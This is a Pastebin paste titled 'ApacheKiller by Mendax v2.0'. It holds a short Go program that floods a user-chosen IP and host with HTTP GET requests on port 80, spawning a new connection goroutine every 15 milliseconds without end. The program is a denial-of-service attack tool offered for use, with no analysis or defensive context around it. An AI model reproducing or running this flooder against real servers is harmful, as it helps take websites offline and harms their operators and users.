Advertisement
Guest User

ApacheKiller by Mendax v2.0

a guest
Jan 6th, 2016
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 0.69 KB | None | 0 0
  1. package main
  2. import (
  3.   "net"
  4.   "fmt"
  5.   "time"
  6. )
  7. func kill (ip,host string) {
  8.   reply := make([]byte,2048)
  9.   message := "GET / HTTP/1.1\r\nHost: " + host + "\r\nConnection: close\r\n\r\n"
  10.   ip = ip + ":" + "80"
  11.   conn,err := net.Dial("tcp",ip)
  12.   if err != nil {
  13.   }
  14.   x := 0
  15.   for {
  16.     x = x + 1
  17.     if x == 400 {break}
  18.     conn.Write([]byte(message))
  19.     conn.Read(reply)
  20.   }
  21.   conn.Close()
  22.   return
  23. }
  24. func main() {
  25.   var ipinfo string
  26.   var host string
  27.   fmt.Print("Enter the ip : ")
  28.   fmt.Scanln(&ipinfo)
  29.   fmt.Print("Enter the hostname : ")
  30.   fmt.Scanln(&host)
  31.   for {
  32.     go kill(ipinfo,host)
  33.     time.Sleep(time.Millisecond * 15)
  34.   }
  35.   time.Sleep(time.Second * 1)
  36. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement